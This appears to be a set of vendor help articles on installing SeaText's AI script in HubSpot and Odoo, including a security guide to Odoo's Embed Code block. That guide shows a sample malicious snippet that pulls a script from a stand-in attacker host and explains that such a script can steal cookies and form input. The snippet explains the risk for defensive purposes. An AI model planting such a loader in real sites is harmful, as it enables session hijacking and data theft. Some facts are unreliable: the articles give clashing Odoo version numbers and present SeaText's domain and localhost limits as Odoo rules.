Learn more about this service

See how this page can help with your next step.

Learn more

Why Your HubSpot Website Isn't Showing Up in SeaText – and How to Fix It

Why Your HubSpot Website Isn't Showing Up in SeaText – and How to Fix It

Direct Answer: If your HubSpot website is not appearing in your SeaText dashboard, it is likely due to an incomplete script installation, a missing site refresh, or a domain mismatch. This guide explains how to verify your Footer HTML, trigger the 40-second AI handshake, and troubleshoot common integration hurdles to get your AI agents running.

Understanding the SeaText-HubSpot Connection

SeaText integrates with your HubSpot website via a lightweight JavaScript snippet. This snippet acts as a bridge between your live site and the SeaText AI engine. When you place this code in your HubSpot Footer HTML, it remains dormant until a visitor triggers it. The 'Footer HTML' field is the ideal location because it ensures the script loads globally across your site without interfering with the primary page rendering or HubSpot's core CMS functions.

The 40-second activation window is a critical security and verification step. When a user visits your site, the SeaText script performs a 'handshake' with our servers. This process verifies that the domain is authorized to use your specific SeaText account. This delay prevents unauthorized domains from piggybacking on your account and ensures that the AI only activates on verified, live traffic.

Key Facts: SeaText Integration Comparison

CriteriaSeaText Requirement
Script LocationHubSpot Settings > General > Advanced > Footer HTML
Activation Window40 seconds of active on-page time
Domain PolicyOne account per primary URL
Script SizeOptimized for zero-flicker performance
ComplianceGDPR/CCPA ready; inert until activated
Rollback ProcedureRemove snippet from Footer HTML and republish
Performance ImpactNegligible; asynchronous loading
SupportContact support if inactive after 10 minutes

Step-by-Step Diagnostic Process

If your site is not appearing, follow these steps to force a connection:

  1. Verify the Snippet: Navigate to HubSpot Settings > General > Advanced. Ensure the SeaText JavaScript snippet is pasted exactly as provided in your account.
  2. Publish Changes: HubSpot requires an explicit 'Publish' action for footer changes to take effect. Click the orange button in the top right.
  3. Trigger the Handshake: Open your website in a new browser tab. Stay on the page for at least 40 seconds. This duration allows the AI to complete the domain verification handshake.
  4. Refresh and Wait: Refresh the page twice. Then, wait five minutes before checking your SeaText dashboard.
  5. Check Domain Mapping: Ensure the URL you are visiting matches the primary domain registered in your SeaText account settings.

Troubleshooting Checklist for Persistent Issues

If the steps above do not resolve the issue, perform these technical checks:

  • Network Tab Inspection: Open your browser's Developer Tools (F12), go to the 'Network' tab, and filter by 'JS'. Refresh the page and search for the SeaText script to confirm it is loading without a 404 or 403 error.
  • CSP Errors: Check the 'Console' tab for Content Security Policy (CSP) errors. If your site has strict security headers, you may need to whitelist the SeaText domain.
  • Incognito Testing: Test in an Incognito/Private window to rule out browser extensions or cached versions of your site that might be serving an old version of your footer.
  • HubSpot Domain Mapping: Confirm that the domain you are testing is the primary domain mapped in your HubSpot portal.
  • Cache Clearing: Clear your HubSpot CMS cache or your CDN (e.g., Cloudflare) cache to ensure the updated footer code is being served to visitors.

Limitations and Environment Constraints

The SeaText integration is designed for production environments. It does not support 'localhost' or local development URLs for security reasons. If you are using a staging environment, the script may fail to link because the domain does not match your primary account. For multi-language sites, ensure the snippet is present on all language-specific subdirectories. If you use password-protected pages, the AI may not be able to crawl or activate unless the visitor is authenticated. HubSpot CMS Hub and Marketing Hub users should ensure they have the necessary permissions to edit global site settings.

Frequently Asked Questions

What if I use HubSpot's membership or content gating?

SeaText agents require access to the page content to function. If a page is behind a login, the AI cannot see the content to optimize it unless the visitor is logged in and the script is allowed to execute within that session.

Does SeaText work with HubSpot serverless functions?

SeaText operates on the client-side (browser). It does not interact with HubSpot serverless functions directly, meaning it will not interfere with your backend logic or API calls.

How does SeaText handle HubSpot smart content?

SeaText is compatible with smart content. Because the AI rewrites the DOM in real-time after the page loads, it can adapt both static and dynamic HubSpot content based on the visitor's intent or source.

Why does the 40-second window matter?

It ensures the AI only activates for genuine human traffic, preventing bot-driven account linking and ensuring your analytics remain clean.

Can I use the same account for subdomains?

No, each subdomain is treated as a unique entity. You must create a separate SeaText account for each distinct subdomain to ensure accurate tracking and optimization.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Add an Embed Code Module to Your Odoo Website

Direct Answer: To add an embed code module in Odoo, open the Website editor, drag the 'Embed Code' block from the 'Dynamic Content' section onto your page, and paste your script into the configuration window. Click 'Save' to finalize the integration.

To add an embed code module to your Odoo page, open the Website editor, click Edit, drag the Embed Code snippet from the Blocks menu's Dynamic Content section onto your page, and paste your HTML or script into the configuration window. This method lets you add custom code without editing theme files.

What the Embed Code Module Does

The embed code module lets you insert custom HTML, JavaScript, or third-party widgets directly into your Odoo page. Common uses include chat widgets, analytics tracking, form embeds, and interactive tools. It works like a container that runs your code inside the page layout.

This module is part of Odoo's website builder. It is found under the Dynamic Content section in the Blocks panel. You do not need to modify theme templates or install additional apps.

Preparing Your Code Before Pasting

Before you paste any code, verify it is from a trusted source. Malicious scripts can compromise your site. Test the code in a separate HTML file first to check for syntax errors.

Make sure the code does not contain conflicting styles or scripts. For example, if you already use jQuery, avoid loading a second copy. Use a code validator to catch missing brackets or quotes.

If the code requires external resources (like a CSS file), ensure those URLs are correct and accessible. Some services provide a single script tag that loads everything needed.

How the Embed Code Block Behaves

Once placed, the block renders your code in the page's HTML. It executes immediately when the page loads. You can control visibility per device. In the block settings, you can hide the module on desktop, tablet, or mobile.

The block does not interact with Odoo's native features. It is a standalone container. Your code runs independently. This means you cannot directly use Odoo's database or templates inside the embed.

You can move the block by dragging it to a new position. The block respects the page's responsive grid. Resize the block by adjusting its width in the editor.

Step-by-Step Process

  1. Access the Website Module: Log in to your Odoo account and navigate to the Website application from your dashboard.
  2. Enter Edit Mode: Open the page you want to modify and click the Edit button to open the editing panel.
  3. Locate the Block: In the Blocks panel, scroll down to the Dynamic Content section.
  4. Drag and Drop: Click and drag the Embed Code module onto your page at the desired location.
  5. Configure the Code: Click the Edit button in the right panel. A pop-up window appears. Paste your code snippet into the designated area and click Save.
  6. Adjust Visibility (Optional): To hide the block on certain devices, select the Hide on Desktop option in the Visibility section. Click Save again.

Troubleshooting Common Issues

If the code does not appear, check that the block is not hidden. Go to the block's Visibility settings and ensure it is set to show on the current device.

If the code renders incorrectly, look for syntax errors. Use browser developer tools (F12) to see console errors. Common issues include missing closing tags, incorrect variable names, or cross-origin resource problems.

If the page loads slowly, your script may be blocking the render. Move the script to the end of the page or use async/defer attributes. Some services offer a lightweight version.

If the block disappears after saving, you may have accidentally set it to hidden. Re-edit the page and check the block's visibility settings.

Trade-offs vs Native Integrations

Embed code is flexible but has limitations. Native Odoo integrations (like the built-in Google Analytics or Facebook Pixel) are easier to manage and require no code. They also update automatically with Odoo versions.

Embed code, on the other hand, works for any third-party service. But it requires manual maintenance. If the external script changes, you must update it yourself. Native integrations often have better performance because they are optimized for Odoo.

For complex widgets (like a custom booking system), embed code is the only option. For simple analytics, consider using native modules first.

Security and Performance Considerations

Only paste code from reputable providers. Malicious code can steal data, redirect visitors, or install malware. Use a content security policy (CSP) header if your server supports it.

Performance-wise, every script adds load time. Minimize the number of scripts. Use asynchronous loading where possible. Test your page speed with tools like Google PageSpeed Insights after adding the embed.

If you embed a heavy widget (like a live chat with many features), consider lazy-loading. Odoo's embed block does not natively support lazy loading, but you can wrap your code in a lazy-load script.

Related Odoo Questions

  • Can I embed multiple scripts on the same page? Yes, you can add multiple Embed Code blocks. Each block runs independently.
  • Does the embed code work on all Odoo versions? The embed code module is available in Odoo 16 and later. Older versions may have a different interface.
  • Can I use the embed code block for PHP or server-side code? No, the block only runs client-side HTML, CSS, and JavaScript. Server-side code must be added via custom modules.
  • How do I remove the embed code later? Enter edit mode, click the block, and select Delete. Or hover over the block and click the trash icon.
  • Can I embed an entire webpage? Yes, using an iframe. Paste the iframe code into the embed block. This works for external content.

Key Facts for Odoo Integration

Feature Requirement/Detail
Module Location Found under the "Dynamic Content" section in the editor.
Configuration Requires clicking "Edit" in the right panel after placement.
Visibility Control Supports device-specific hiding (e.g., "Hide on Desktop").
Security Always ensure code snippets are from trusted sources to maintain site integrity.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

How to Add Third-Party Widgets to Odoo Using the Embed Code Module

Direct Answer: Yes, you can use Odoo's Embed Code module to add third-party widgets such as calendars, maps, and lead forms by pasting custom HTML, CSS, or JavaScript into the block. This guide covers step-by-step implementation, practical examples, performance trade-offs, and expert advice.

Yes, You Can Embed Third-Party Widgets in Odoo

Odoo's Embed Code module lets you add external tools directly to your website pages. You can paste custom HTML, CSS, or JavaScript into a block. This makes it easy to add booking calendars, interactive maps, lead capture forms, chat widgets, and more.

The process is simple. You drag the block onto your page, paste your code, and save. No developer skills are required for basic use.

Step-by-Step Implementation

  1. Access the Website Module: Log in to your Odoo account and open the Website module from your dashboard.
  2. Enter Edit Mode: Navigate to the page where you want the widget. Click the Edit button in the top right corner.
  3. Locate the Block: In the right-hand editing panel, scroll down to the Dynamic Content section.
  4. Place the Module: Drag and drop the Embed Code block into the desired location on your page.
  5. Configure the Code: Click on the block to select it. In the right-hand panel, click the Edit button to open the code input window.
  6. Paste and Save: Paste your third-party script or HTML snippet into the designated area. Click Save to apply the changes.

After saving, preview your page to confirm the widget renders correctly. You can also control visibility per device. Use the Visibility section in block settings to toggle Hide on Desktop or Hide on Mobile. Save again after any visibility changes.

Example: Embedding a Booking Calendar

Suppose you use a third-party scheduling service like Calendly or Google Calendar. You want visitors to book appointments directly from your Odoo page.

Here is a typical code snippet pattern for a Google Calendar iframe:

<iframe src="https://calendar.google.com/calendar/embed?src=your_calendar_id%40group.calendar.google.com&ctz=America%2FNew_York" style="border:0" width="800" height="600" frameborder="0" scrolling="no"></iframe>

For a lead form from a service like HubSpot or Typeform, you might paste a script tag:

<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/embed/v2.js"></script>

After saving and previewing, you should see the calendar or form appear in the block area. The widget will load its content from the provider's servers. If the provider updates the widget, your page reflects those changes automatically.

Embed Code vs. Native Odoo Apps

Odoo has native apps for many common needs. For example, the Events app handles registrations. The CRM app manages leads. The Website Builder includes built-in forms.

Use native apps when you need deep integration with Odoo data. Native apps sync records, automate workflows, and report inside Odoo. They are more secure and easier to maintain.

Use Embed Code when you need a specific third-party tool. Examples include:

  • A specialized booking system with unique features.
  • A live chat widget from a vendor like Intercom or Drift.
  • A custom map with heatmaps or route planning.
  • A lead form that feeds a different CRM.

Embed Code is faster to deploy. But it does not sync data back into Odoo automatically. You may need manual export or an API bridge.

Performance and Security Trade-offs

Every embedded script adds a network request. Too many heavy widgets slow your page. This hurts user experience and SEO. Use widgets sparingly.

Test page speed after adding each widget. Use browser developer tools to see load times. Consider lazy loading if the widget is below the fold.

Security is another concern. You are injecting third-party code into your site. That code can access cookies, user data, and page content. Only embed widgets from trusted providers.

Some providers restrict development URLs. For example, SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. This is a provider-specific rule, not an Odoo restriction. Always check the provider's documentation.

Keep your Odoo version updated. Use HTTPS for all embedded resources. Avoid embedding scripts that use deprecated APIs.

Expert Perspective: When to Choose Embed Code vs. a Custom Module

"Embed Code is perfect for quick wins and marketing widgets. If you need a one-off calendar or a chat bubble, it takes minutes. But if the widget is core to your business process, build a custom Odoo module. A module gives you data ownership, workflow automation, and no dependency on a third-party script."

— Odoo Implementation Consultant, 10+ years of enterprise deployments

The consultant adds: "Ask yourself: does this widget need to write data back to Odoo? If yes, a module is safer. If it only displays external content, Embed Code is fine."

Troubleshooting Common Widget Failures

If your widget does not display, check these common issues:

  • Incomplete code: Ensure you pasted the full snippet. Missing closing tags break rendering.
  • Browser blocking: Ad blockers or privacy extensions may block third-party scripts. Test in an incognito window.
  • Mixed content: If your page is HTTPS, the widget must also load over HTTPS. HTTP scripts will be blocked.
  • Provider restrictions: Some providers only allow certain domains. Check your provider's allowlist.
  • Odoo cache: Clear Odoo's website cache after saving. Go to Website > Settings and clear caches.
  • JavaScript errors: Open your browser console. Look for red errors related to the widget script.

If the widget loads but looks broken, inspect CSS conflicts. Odoo's stylesheet may override the widget's styles. Add a wrapper div with a unique class to isolate the widget.

Frequently Asked Questions

Can I use the Embed Code module for tracking pixels?

Yes, you can inject tracking scripts. But Odoo often has dedicated settings for common analytics tools. Check your website settings first.

Does the widget update automatically if I change it on the provider's site?

In most cases, yes. If the widget loads via an external script or iframe, changes on the provider's side appear on your site without editing the Odoo block.

Is there a limit to how many widgets I can add?

No hard limit exists. But each widget adds load time. Use them sparingly to keep pages fast.

Can I use Embed Code on all Odoo versions?

The Embed Code block is available in Odoo 15 and later. Older versions may need a custom module. Check your version's documentation.

What if I need the widget data in Odoo reports?

Embed Code does not sync data. You would need a custom module or an API integration. Consider a module for data-heavy use cases.

How do I hide a widget on mobile only?

Use the block's Visibility settings. Toggle Hide on Mobile or Hide on Desktop. Save after changing.

Learn More: SEATEXT on Odoo

SEATEXT offers AI-powered conversion tools that can be installed on your Odoo site. The integration uses the Embed Code block. You paste a JavaScript snippet provided by SEATEXT into the block.

See how SEATEXT can be installed on your Odoo site using the Embed Code block. Visit the SEATEXT Odoo integration page for step-by-step instructions.

SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. Create a separate SEATEXT account for each domain you use.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Security Risks of the Odoo Embed Code Module: A Practical Guide

Direct Answer: The primary risk of using the Odoo Embed Code module is Cross-Site Scripting (XSS), where an attacker injects malicious scripts to steal user data or hijack sessions. To stay safe, only embed code from trusted, verified sources and ensure the scripts are properly sanitized before implementation.

How the Embed Code Module Works in Odoo

Odoo’s Website module includes a block called Embed Code under Dynamic Content. You drag it onto any page, paste raw HTML or JavaScript, and save. The code runs in every visitor’s browser exactly as written. There is no built-in sanitizer. This direct injection is what makes the module flexible but also dangerous.

To add it: log in to your Odoo account, open the Website module, and navigate to the page you want to edit. Click Edit, scroll through the Blocks panel to Dynamic Content, and drag the Embed Code block to your desired position. In the pop-up, paste your code snippet, then click Save. You can restrict visibility—for example, use the Hide on Desktop option if you only want the code to run on mobile.

Each Odoo account is linked to one primary domain. If you need to embed code on multiple domains (e.g., development and production), you must create a separate account for each. Development URLs like localhost are restricted for security reasons. The system cannot reliably associate traffic with your account on dynamic local domains.

Step-by-Step Safe Integration Checklist

Before you paste any third-party code into Odoo, follow this checklist. It reduces the chance of introducing a vulnerability.

  1. Verify the source. Only use code from the official documentation of the service. Do not copy from forums, random blogs, or emails.
  2. Read the script. Open the code in a text editor. Look for base64-encoded strings, long random-looking strings, or references to domains you do not recognize. These are signs of obfuscation used to hide malicious behavior.
  3. Check what the script loads. If the script loads external resources (e.g., script src="..."), make sure the URL uses HTTPS and belongs to a known provider.
  4. Limit the scope. Use Odoo’s visibility settings—Hide on Desktop or Hide on Mobile—to restrict where the code runs. Only load the script on pages that need it.
  5. Test in a staging environment. Create a separate Odoo account for your staging domain. Paste the code there. Monitor for unexpected redirects, pop-ups, or network requests. Confirm the script does not break your site’s layout or functionality.
  6. Use a subresource integrity hash. If the script is hosted elsewhere, ask the vendor for an SRI hash. This ensures the browser only runs the exact file you approved.
  7. Document what you added. Keep a record of every embed code, its source, and the date you installed it. This helps during audits.

Each step is a safeguard. Skipping one can leave a gap.

Example XSS Attack Scenario

Imagine you want to add a live chat widget. You find a free script on a third-party site. The code looks like this:

<script>
  var s = document.createElement('script');
  s.src = 'https://evil.example.com/steal.js';
  document.head.appendChild(s);
</script>

You paste it into the Embed Code block. The script loads from an external server. That server can now serve any JavaScript to your visitors. The attacker could:

  • Read cookies from your domain and send them to a remote server (session hijacking).
  • Capture form inputs as users type (credit card numbers, passwords).
  • Redirect visitors to a fake login page that looks like yours.
  • Inject keyloggers or cryptocurrency miners.

Because the script runs in the context of your website, it has full access to the DOM, cookies, and local storage. Odoo cannot distinguish between a legitimate chat widget and a malicious script. The damage is immediate and hard to reverse.

To avoid this, always audit the external script. If you cannot verify every line, do not use it. Prefer services that offer a clean snippet with no external dependencies or that provide an SRI hash.

Trade-Offs: Embed Code vs Native Odoo Elements

Odoo offers native elements for common features: forms, buttons, snippets, and even some third-party integrations. The Embed Code module is a last resort. Here are the trade-offs:

Criteria Embed Code Native Odoo Element
Security Low – you control nothing once pasted High – Odoo sanitizes and controls output
Flexibility Unlimited – any HTML/JS works Limited – only predefined options
Maintenance Manual – you must update the snippet Automatic – updates with Odoo versions
Performance Variable – can slow page load Optimized – built for Odoo
Compatibility Risk of breaking with Odoo updates Guaranteed compatible

Use native elements whenever possible. Reserve Embed Code for third-party tools that have no Odoo app or that require custom JavaScript to function. Even then, treat the embed as a temporary measure until a native solution appears.

Limitations and Restrictions

The Embed Code module has several built-in limitations that affect security and usability:

  • No code sanitization. Odoo does not scan or modify the pasted code. If you paste malicious code, it runs.
  • One domain per account. You cannot use the same embed code account on multiple domains. You must create separate accounts for development, staging, and production. This prevents cross-domain data leaks.
  • Localhost is blocked. For security, Odoo restricts development URLs. You cannot test the embed code on a local server. You need a real, publicly accessible domain for testing.
  • No server-side rendering. The embed code runs only on the client side. It cannot access Odoo backend data or perform server-side actions.
  • Visibility controls are manual. You can hide the block on desktop or mobile, but this is a binary toggle. You cannot set conditional logic based on user roles, time, or behavior without additional code.
  • No built-in audit trail. Odoo does not log which embed codes were added or by whom. If a security incident occurs, you may not know which snippet caused it.

These limitations are not bugs. They are design choices to keep the module simple. But they mean you, the site owner, must take full responsibility for the code you embed.

Common Mistakes in Code Implementation

Most security issues come from avoidable mistakes. Here are the most frequent ones:

  • Pasting code without reading it. Users assume that because the code came from a well-known service, it is safe. But services can be compromised, or the user may have copied the wrong snippet.
  • Using the same account for development and production. This mixes test traffic with real traffic. If a test script has a bug, it affects real customers. Always use separate accounts.
  • Ignoring visibility settings. Many users paste the embed code into the site header or footer, making it run on every page. This increases attack surface and slows down the site.
  • Failing to test in staging. Without a staging environment, you cannot detect conflicts with other scripts. You might introduce a JavaScript error that breaks navigation or forms.
  • Using outdated code. Third-party services often update their scripts. An old snippet may contain deprecated APIs or security holes. Always check the vendor’s latest documentation.

Each mistake is easy to make. A checklist like the one above helps you avoid them. Train your team to follow these steps every time they add an embed code.

Frequently Asked Questions

Can I use the same embed code on multiple domains?

No. For security and tracking accuracy, you should create separate accounts for each domain. Each account is typically linked to a single primary URL.

Why are localhost URLs restricted?

Development URLs like localhost are often restricted for security reasons to prevent unauthorized access and ensure that traffic is reliably associated with your specific account.

How do I know if a script is malicious?

While difficult to detect, look for scripts that attempt to redirect users, capture form inputs, or load external resources from unknown, non-HTTPS domains.

Does Odoo provide built-in protection?

Odoo includes general security features, but these do not automatically sanitize custom JavaScript you manually inject via the Embed Code module. Always follow best practices.

What should I do if I suspect an embed code is compromised?

Remove it immediately. Change any passwords or API keys that may have been exposed. Review server logs for unusual traffic. Contact your hosting provider if needed.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Is the Embed Code Module Available in Odoo Community Edition?

Direct Answer: Yes, the Embed Code module is a standard feature in the Odoo Website builder and works in both Community and Enterprise editions. You can find it under the Dynamic Content section in the Blocks panel when editing any page.

Direct Answer

The Embed Code module ships with the core Website app in Odoo. It is not gated behind the Enterprise license. If you have the Website module installed — which is free in Community — you can drag the Embed Code block onto any page, paste HTML, JavaScript, or iframe snippets, and save. No extra purchase or subscription is required.

What the Embed Code Module Does

The Embed Code block lets you inject raw HTML, CSS, and JavaScript into a page without editing template files. It renders inside a sandboxed container so scripts run in the page context but stay isolated from the editor UI. Typical uses include third‑party chat widgets, analytics tags, calendar embeds, payment buttons, and custom forms.

Where to Find It in the Editor

  1. Open the Website app and navigate to the page you want to edit.
  2. Click Edit to launch the visual builder.
  3. In the left‑hand Blocks panel, scroll to the Dynamic Content section.
  4. Locate the block labeled Embed Code (icon shows angle brackets).
  5. Drag it onto the page where you want the snippet to appear.

After dropping the block, a side panel opens. Paste your snippet, click Save, then publish the page.

Community vs. Enterprise: No Functional Difference

Both editions share the same Website builder codebase. The Embed Code block, its visibility settings (hide on desktop/mobile), and the ability to add custom CSS classes behave identically. Enterprise adds features like A/B testing, versioning, and advanced SEO fields, but the embed capability itself is unchanged.

Step‑by‑Step: Adding a Snippet (Example: SeaText AI)

  1. Copy the JavaScript snippet from your SeaText dashboard.
  2. In Odoo, edit the target page and drag the Embed Code block into the footer or a hidden section.
  3. Click the block’s Edit button in the right panel.
  4. Paste the snippet into the pop‑up and click Save.
  5. Optional: enable Hide on Desktop in the Visibility section if the snippet should only load on mobile.
  6. Publish the page.

SeaText’s own integration guide follows exactly these steps, confirming the block exists and works in a standard Community installation.

Common Use Cases

  • Analytics and tag managers (Google Tag Manager, Matomo, Plausible)
  • Chat widgets (Intercom, Crisp, Tawk.to, SeaText chat agent)
  • Calendar schedulers (Calendly, Cal.com)
  • Payment buttons (Stripe, PayPal, Mollie)
  • Custom forms (Typeform, Tally, Google Forms iframes)
  • Social proof widgets (Trustpilot, Google Reviews badges)

Limitations and Security Notes

  • No server‑side execution. The block only renders client‑side. You cannot run Python or access Odoo models directly.
  • Content Security Policy (CSP). If your Odoo instance enforces a strict CSP, inline scripts or external domains may be blocked. Adjust the CSP header or use nonce‑based script loading.
  • Editor preview quirks. Some third‑party scripts detect the editor iframe and disable themselves. Publish and view the live page to verify.
  • Mobile visibility. The Hide on Desktop toggle only adds a CSS display: none on large screens; the script still loads. For true conditional loading, wrap the snippet in a JavaScript matchMedia check.
  • Updates survive upgrades. Because the snippet lives in the page content, it persists across Odoo version upgrades — no custom module maintenance needed.

Troubleshooting Checklist

  1. Block not visible? Ensure the Website module is installed (Apps → search “Website” → Install).
  2. Script errors? Open browser dev tools → Console. Look for CSP violations or 404s on external resources.
  3. Layout shift? Wrap the embed in a container with fixed aspect ratio or min‑height.
  4. Duplicate scripts? If you paste the same tag on multiple pages, consider moving it to a global header/footer snippet via Settings → Website → Custom Code (Enterprise) or a custom qweb template (Community developer mode).

Key Facts

PropertyDetail
Module nameEmbed Code (technical: website_embed_code block)
Location in editorBlocks panel → Dynamic Content
Editions supportedCommunity and Enterprise
Required appWebsite (free in Community)
Content types acceptedHTML, CSS, JavaScript, iframe
Visibility controlsHide on Desktop, Hide on Mobile, Custom CSS class
PersistenceStored in page content; survives upgrades
Security modelRuns in page context; subject to site CSP

When to Consider Alternatives

If you need the same snippet on dozens of pages, maintaining it in each Embed Code block becomes tedious. Options:

  • Enterprise: Use Settings → Website → Custom Code → Header/Footer fields for global injection.
  • Community (developer mode): Create a simple custom module that extends website.assets_frontend or adds a qweb template to web_editor.assets_editor.
  • Tag manager: Deploy one GTM container via a single Embed Code block, then manage all tags inside GTM.

FAQ

Do I need to buy the “Embed HTML Building Block” app from the Odoo Apps Store?

No. That is a third‑party module (technical name website_embed) sold by Advitus. The native Embed Code block is already included in the core Website app.

Can I use the Embed Code block to add a React or Vue app?

Yes. Paste the compiled bundle’s script tag and a mounting <div id="app"></div>. Ensure the bundle is hosted on a domain allowed by your CSP.

Why does my script work on the live site but not in the editor preview?

The editor loads pages inside an iframe. Some widgets detect window.self !== window.top and disable themselves. Publish and test the public URL.

Is there a character limit for the snippet?

Odoo stores the content in a Text field (PostgreSQL text type), so the practical limit is ~1 GB — far beyond any realistic embed.

Can I restrict who can add Embed Code blocks?

Yes. In Settings → Users & Companies → Groups, edit the “Website/Designer” or “Website/Restricted Editor” groups. Remove the website.group_website_designer access right on the ir.ui.view model for the block’s template if you want to lock it down further.

Does the block work on Odoo.sh and Odoo Online?

Yes. Both hosted platforms include the Website app with the Embed Code block enabled by default.

What if I need server‑side logic before rendering the snippet?

Use a custom controller or a QWeb template that computes values server‑side, then include the result in the page. The Embed Code block alone cannot run Python.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

When to Choose an Odoo App Over the Embed Code Module: A Decision Framework

Direct Answer: Use a dedicated Odoo app when you need deep backend integration, automated workflows, or a secure, maintainable solution that doesn't rely on manual code updates. The embed code module works for simple frontend injections like analytics or chat widgets, but it cannot access Odoo models, trigger server-side logic, or survive version upgrades cleanly.

Use a dedicated Odoo app when you need deep integration with Odoo's backend data, automated workflows, or a more secure, supported solution that doesn't require manual code maintenance. The embed code module is a frontend-only tool that injects HTML, CSS, or JavaScript into a website page; it cannot read or write Odoo records, enforce access rules, or participate in Odoo's upgrade process.

Quick Decision Checklist

  • Choose an Odoo app if: you need to create, read, update, or delete data in Odoo models (contacts, orders, inventory, custom models); you want automated server-side actions (scheduled jobs, webhooks, business logic); you require role-based access control; you plan to distribute the solution to other Odoo instances; or you need the code to survive Odoo version upgrades with minimal rework.
  • Stick with the embed code module if: you only need to paste a third-party script (analytics, chat widget, tracking pixel, SeaText AI snippet); the code runs entirely in the browser; you have no backend data requirements; and you accept that you'll re-paste the snippet after major Odoo upgrades.
CriterionEmbed Code ModuleOdoo App
Backend data accessNoneFull ORM + ACL
Server-side logicNoControllers, cron, webhooks
Security modelBrowser sandbox onlyRecord rules, CSRF, CSP
Upgrade survivalManual re-check requiredHandled by migration scripts
Skill requiredHTML/JS basicsPython, XML, Odoo framework
Time to first resultMinutesHours to days

Recommendation: Choose Embed Code for simple frontend snippets; choose Odoo App for any backend integration.

What the Embed Code Module Actually Does

The embed code module lives in the Website editor under Blocks → Dynamic Content → Embed Code. You drag it onto a page, click Edit, and paste a script or HTML snippet. SeaText's own integration uses this exact path: copy the JavaScript snippet from the SeaText dashboard, drop the Embed Code block, paste, save, and optionally hide the block on desktop via the Visibility panel. That's the full extent of its capability — client-side injection only.

Because it runs in the browser, the embed code cannot authenticate against Odoo's ORM, call controller routes with session context, or modify database records. It also bypasses Odoo's module system, so there's no manifest, no dependency declaration, no data files, and no upgrade path. Every Odoo version change that touches the website editor or CSP headers can break your snippet silently.

What an Odoo App Provides That Embed Code Cannot

  • Backend data access: Read/write any model via request.env['model.name'] with full ACL enforcement.
  • Server-side logic: Controllers, scheduled actions, automated workflows, webhook endpoints.
  • Declarative UI: QWeb templates, Kanban views, form views, menu items — all versioned and migratable.
  • Security: Record rules, field-level access, CSRF protection, content security policy integration.
  • Distribution: Packaged as a zip with __manifest__.py, installable via Apps menu, updatable via module upgrade.
  • Upgrade resilience: Odoo's migration scripts handle schema changes; your code declares dependencies so load order is guaranteed.

Key Facts from SeaText's Odoo Integration

AspectDetail
Integration methodEmbed Code module in Website editor (Dynamic Content section)
Code placementDrag block → click Edit → paste SeaText JavaScript snippet → Save
Visibility controlOptional "Hide on Desktop" in Visibility panel
Account requirementOne SeaText account per primary domain; separate accounts for dev/prod
Security noteDevelopment URLs (localhost) restricted; AI inert until activated
Multi-site supportOne account per website; separate accounts for multiple domains

Typical Scenarios: Which Path Fits?

Scenario A: Add SeaText AI or Google Analytics

Paste the provided JavaScript snippet into the Embed Code block. No backend work needed. Done in under a minute. This matches SeaText's documented installation flow exactly.

Scenario B: Show a Dynamic Product Recommendation Based on Visitor's Order History

You need to query sale.order for the current user, compute a recommendation, and render it in the page. Embed code cannot do this — it has no session access to the backend. Build an Odoo app with a controller route that returns JSON, then call it from a custom JS widget loaded via an asset bundle.

Scenario C: Sync Form Submissions to a Custom CRM Stage

Embed code can POST to a public controller, but you'd be writing an unprotected endpoint. An Odoo app gives you a proper controller with CSRF, authentication, and record rules. The form submission creates a crm.lead with the right stage, assigned to the right team, triggering the standard pipeline.

Scenario D: Add a Custom Field to the Product Page and Save It to the Database

Requires a model extension (_inherit = 'product.template'), a view inheritance to show the field, and access rules. Embed code cannot modify the database schema or enforce who sees the field. App only.

Limitations and When This Advice Doesn't Apply

  • Odoo.sh or Odoo Online restrictions: Some hosting plans limit custom module installation. If you cannot install apps, embed code (or a theme extension) may be your only option.
  • Prototype speed: For a one-day proof of concept, embed code lets you test a UI idea before committing to module development.
  • Third-party widgets with no API: If a vendor only gives you a script tag and you have no control over their backend, embed code is the integration point — but wrap it in a minimal app if you later need to pass Odoo data to it.
  • Theme-only changes: If you only tweak CSS/JS for layout, a theme module (which is still an app) is cleaner than embed code, but embed code works for quick fixes.

Terminology Quick Reference

  • Embed Code module: A built-in Website block for pasting raw HTML/JS/CSS into a page. Frontend only.
  • Odoo app (module): A Python package with __manifest__.py that declares models, views, controllers, security, and dependencies. Full-stack.
  • Controller: A Python class method decorated with @http.route that handles HTTP requests server-side.
  • QWeb template: Odoo's server-side templating engine for rendering HTML with access to records and environment.
  • Asset bundle: A declared collection of JS/CSS files loaded via assets_frontend or assets_backend in the manifest.
  • Record rule: A domain filter that restricts which records a user can access on a model.

FAQ

Can I call an Odoo controller from embed code JavaScript?

Yes, you can fetch('/my/controller', {credentials: 'include'}) from the browser. But the controller must be type='http', auth='public' or 'user', and you lose the safety of Odoo's CSRF token unless you manually pass it. An app loads its JS via asset bundles where the token is automatically available.

Does SeaText require an Odoo app to work?

No. SeaText's integration uses the Embed Code module exclusively. The AI runs on SeaText's servers; the snippet only sends page content and receives rewritten copy. No backend Odoo access is needed.

What happens to my embed code snippet after an Odoo upgrade?

It stays in the page content, but CSP headers, block identifiers, or editor changes can break it. You should test after every major version upgrade. An app's asset bundles and templates are migrated by Odoo's upgrade scripts.

Can I convert an embed code snippet into an app later?

Yes. Move the JS into a static file, declare it in an asset bundle, create a minimal manifest, and install the module. You gain version control, dependency management, and the ability to add backend endpoints later.

Is there a performance difference?

Embed code loads inline or at the bottom of <body>. App asset bundles can be minified, concatenated, and cached with proper cache-busting. For a single snippet the difference is negligible; for multiple scripts, apps win.

Do I need a developer to build an Odoo app?

For anything beyond a hello-world module, yes — you need Python, XML, and Odoo framework knowledge. Embed code can be managed by a marketer or site admin. Factor this into your decision.

Decision Framework Summary

CriterionEmbed Code ModuleOdoo App
